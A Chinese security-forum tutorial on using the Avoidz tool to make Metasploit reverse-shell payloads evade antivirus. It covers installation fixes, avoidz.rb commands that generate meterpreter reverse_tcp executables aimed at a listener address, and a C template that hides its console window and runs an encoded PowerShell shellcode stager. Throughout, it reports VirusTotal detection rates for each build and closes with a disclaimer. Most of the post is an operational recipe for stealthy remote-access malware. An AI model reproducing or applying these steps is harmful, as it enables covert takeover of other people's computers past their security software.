安全矩阵

 找回密码
 立即注册
搜索
查看: 2225|回复: 0

远控免杀专题(11)-Avoidz免杀(VT免杀率23/71)

[复制链接]

7

主题

23

帖子

111

积分

注册会员

Rank: 2

积分
111
发表于 2020-3-8 09:07:25 | 显示全部楼层 |阅读模式
本帖最后由 DL_one 于 2020-3-8 10:00 编辑

一、avoidz介绍
Avoidz是一个比较使用比较简单的小工具,利用msf生成powershell的shellocde,然后利用c#、python、go、ruby等语言对shellcode进行编译生成exe而达到免杀的效果,套路比较简单,但免杀效果还算不错。
二、安装avoidz
avoidz使用是非常简单的,一行命令就可以,但安装比较费劲。因为官方是3年前更新的,里面有些错误,按官方的setup.sh是没法安装成功的。
首先从github上clone到本地

  1. git clone https://github.com/M4sc3r4n0/avoidz
复制代码

进入avoidz目录,执行chmod +x setup.sh
执行安装程序./setup.sh
会要求按照ruby、msf、wine、wine-python、wine-pyinstaller、golong等。

其中会提示mingw32安装失败,主要是因为setup.sh中是用命令i586-mingw32msvc-gcc来检测是否安装,使用命令apt-get install mingw32来安装mingw32的。
而在apt安装源中已经删除了mingw32,想安装的话需要使用这个命令
  1. apt install mingw-w64
复制代码

安装后会出现两个命令
  1. i686-w64-mingw32-gcc  #针对32-bit Windows;
  2. x86_64-w64-mingw32-gcc #针对64-bit Windows
复制代码
然后我们做个软连接,这样后面执行./avoidz.rb生成payload的时候就不会出错了。

ln -s /usr/bin/i686-w64-mingw32-gcc /usr/bin/i586-mingw32msvc-gcc
安装成功

三、avoidz使用说明
安装好之后,使用起来非常非常简单,只有四个参数。
  1. -h, --lhost value                ip_addr|default = 127.0.0.1
  2.     -p, --lport value                port_number|default = 4444
  3.     -m, --payload value              payload to use|default = windows/meterpreter/reverse_tcp
  4.     -f, --format value               output format: c1, c2, cs, py, go
复制代码


参数说明:
-h msf监听的IP,也就是攻击者的
-p msf监听的端口
-m msf的payload
-f 提供了5种编译格式,三种c/c#,一种python,一种go,都是生成exe文件
默认生成的payload目录为/root/目录下。

四、使用avoidz编译C#生成exe(VT免杀率23/68)
提供3种C代码编译成exe的方式,想了解详情的可以cat avoidz.rb查看具体区别。
我以第一种为例进行测试

./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f c1
这种方式的C代码为

  1. #include <windows.h>
  2. int shellCode(){
  3.         system("color 63");
  4.         system("powershell.exe -nop -win Hidden -noni -enc #{powershell_encoded}");
  5.         /*
  6.                 ((Shell Code into the console))
  7.         */
  8.         return 0;
  9. }
  10. void hide(){
  11.         HWND stealth;
  12.         AllocConsole();
  13.         stealth = FindWindowA("ConsoleWindowClass",NULL);
  14.         ShowWindow (stealth,0);
  15. }
  16. int main(){
  17.         hide();
  18.         shellCode();
  19.         return 0;
  20. }
  21. }
复制代码
执行后可正常上线
开启杀软进行测试,静态测试没问题,行为检测马上露馅。
virustotal.com中23/68个报毒

五、使用avoidz编译python生成exe(VT免杀率11/68)
使用python生成exe文件

./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f py
静态查杀没问题,行为检测依据被拦
virustotal.com中11/68个报毒

六、使用avoidz编译golang生成exe(VT免杀率23/71)
使用go生成exe文件

./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f go
go版本的静态查杀都没通过,行为检测依据被拦
virustotal.com中23/71个报毒

小结
avoidz的原理还是比较简单的,msfvenom生成powershell的shellcode,然后各种语言编译一下生成exe,静态检测查杀率还算可以,但行为检测就很容易被查杀出来,和TheFatRat具有相同的缺陷。倒是可以借鉴下他的原理,自己写个免杀工具。
参考
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 23:32 , Processed in 0.013181 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表